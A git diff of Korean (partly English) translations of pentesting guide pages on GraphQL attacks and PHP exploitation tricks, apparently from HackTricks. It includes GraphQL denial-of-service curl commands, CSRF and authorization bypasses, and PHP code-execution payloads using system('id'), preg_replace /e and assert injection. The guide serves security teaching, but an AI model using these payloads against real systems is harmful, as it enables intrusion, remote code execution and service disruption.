강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 유출할 수 있게 할 수 있습니다. +[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 누출할 수 있게 할 수 있습니다. ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -397,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **노출된 GraphQL 구조 발견하기** -내부 탐색이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` -## GraphQL의 CSRF +## GraphQL에서의 CSRF CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: @@ -421,19 +421,19 @@ GraphQL 요청은 일반적으로 **`application/json`** 콘텐츠 유형을 사 ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -따라서 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. +따라서, 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. 그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. -**쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있습니다. +일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. -또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. +또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하면 사용자의 자격 증명을 이용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. 자세한 내용은 [**원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오. ## GraphQL에서의 교차 사이트 WebSocket 하이재킹 -GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** +GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** 자세한 내용은 확인하십시오: @@ -443,11 +443,11 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 ## GraphQL에서의 권한 부여 -엔드포인트에 정의된 많은 GraphQL 함수는 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다. +엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다. 쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출](https://hackerone.com/reports/792927)될 수 있습니다. -변경은 다른 계정 데이터를 수정하려고 시도할 경우 계정 탈취로 이어질 수 있습니다. +변경은 다른 계정 데이터를 수정하려고 시도할 때 계정 탈취로 이어질 수 있습니다. ```javascript { "operationName":"updateProfile", @@ -457,15 +457,15 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 ``` ### GraphQL에서 인증 우회 -[쿼리 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. +[쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. -아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가하여 우회할 수 있으며, 이 경우 "register"와 시스템이 새 사용자로 등록할 수 있도록 사용자 변수를 추가합니다. +아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. +GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). @@ -486,22 +486,22 @@ valid } } ``` -## GraphQL에서의 DoS +## DoS in GraphQL -### 별칭 오버로드 +### Alias Overloading -**별칭 오버로드**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 오버로드하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이는 서버 리소스를 압도하여 **서비스 거부(DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진시킬 수 있습니다: +**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서는 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. +이 문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. ### **배열 기반 쿼리 배치** -**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없으면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. +**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없다면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ ### **지시문 과부하 취약점** -**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계가 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. +**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -535,11 +535,11 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -그리고 **사용자 정의 항목 중 일부를 사용합니다.** +그리고 **사용자 정의** 항목 중 일부를 사용하십시오. ### **필드 중복 취약점** -**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하는 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성할 수 있으며, 이는 높은 부하를 초래하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. +**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하는 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 리소스(CPU, 메모리 및 데이터베이스 호출)를 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성하여 높은 부하를 유발하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -554,7 +554,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다. - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 @@ -574,7 +574,7 @@ https://graphql-dashboard.herokuapp.com/ - AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) -## 참고자료 +## 참고 문헌 - [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 25d45e2fa..7ed50b628 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,12 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} - -## 쿠키의 일반적인 위치: +## Cookies common location: 이것은 phpMyAdmin 쿠키에도 유효합니다. -쿠키: +Cookies: ``` PHPSESSID phpMyAdmin @@ -23,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### 느슨한 비교/타입 조작 ( == ) -`==`가 PHP에서 사용되면, 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다. +`==`가 PHP에서 사용되면, 비교가 예상대로 작동하지 않는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다. PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -34,7 +33,7 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww - `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다. - `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다). - `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다. -- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다. +- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다. - `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다. @@ -63,17 +62,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 엄격한 타입 조작 -`===`가 **사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**: +`===`가 **사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 유형의 객체로 변환하는 경우**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드 실행을 계속할 수 있습니다). +**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다). #### New line bypass -그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예: +그러나 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 어떤 방법으로든 **여러 줄**로 입력을 **전송**할 수 있다면 이 검사를 우회할 수 있습니다. 예: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -94,7 +93,7 @@ echo preg_match("/^.*1.*$/",$myinput); ``` Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) -#### **길이 오류 우회** +#### **Length error bypass** (이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\ `preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다: @@ -112,10 +111,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- 간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다. [이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\ -**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. +**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. -정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\ -이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방): +정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000(1M)입니다.\ +이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다(500k 전진 및 500k 후진): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -132,7 +131,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후 호출되지 않으면, PHP는 계속 실행되며 데이터를 본문에 추가합니다: +PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 **호출되지 않으면**, PHP는 계속 실행되며 데이터를 본문에 추가합니다: ```php **를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다. -- [**LFI 및 RCE using php wrappers**](../../../pentesting-web/file-inclusion/) +- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\ -지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다: +이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\ +지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하십시오.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 할 경우, 처음 72B만 사용됩니다: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -183,7 +182,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### 헤더 설정 전에 본문 채우기 -만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어서 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\ +**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\ 다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키게 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다): ![](<../../../images/image (1085).png>) @@ -202,7 +201,7 @@ php-ssrf.md &#xNAN;**\`ls\`;**\ **shell_exec("ls");** -[더 유용한 PHP 함수는 여기에서 확인하세요](php-useful-functions-disable_functions-open_basedir-bypass/) +[더 유용한 PHP 함수는 여기에서 확인하세요](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **preg_replace()를 통한** **RCE** ```php @@ -227,7 +226,7 @@ preg_replace("/a/e","phpinfo()","whatever") ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않으며 우리의 페이로드가 실행되지 않습니다. +코드 **구문**을 **깨고**, **페이로드**를 **추가한 다음** 다시 **수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다. **다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'` @@ -256,40 +255,40 @@ function foo($x,$y){ usort();}phpinfo;#, "cmp"); }?> ``` -코드의 나머지를 주석 처리하려면 **//**를 사용할 수 있습니다. +You can also use **//** to comment the rest of the code. -닫아야 할 괄호의 수를 알아내려면: +To discover the number of parenthesis that you need to close: -- `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다. -- `?order=id);}//`: **경고**가 발생합니다. 적절한 것 같습니다. -- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많을 수 있습니다. +- `?order=id;}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ';'`)를 받습니다. 아마도 하나 이상의 괄호가 누락된 것 같습니다. +- `?order=id);}//`: 우리는 **경고**를 받습니다. 그게 맞는 것 같습니다. +- `?order=id));}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ')' i`)를 받습니다. 아마도 닫는 괄호가 너무 많습니다. -### **.httaccess를 통한 RCE** +### **RCE via .httaccess** -**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성). +If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**). -다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다. +Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells) -### 환경 변수로 인한 RCE +### RCE via Env Variables -PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 있다면, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다. +If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우 작동하지 않을 수 있습니다). -- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다. +- 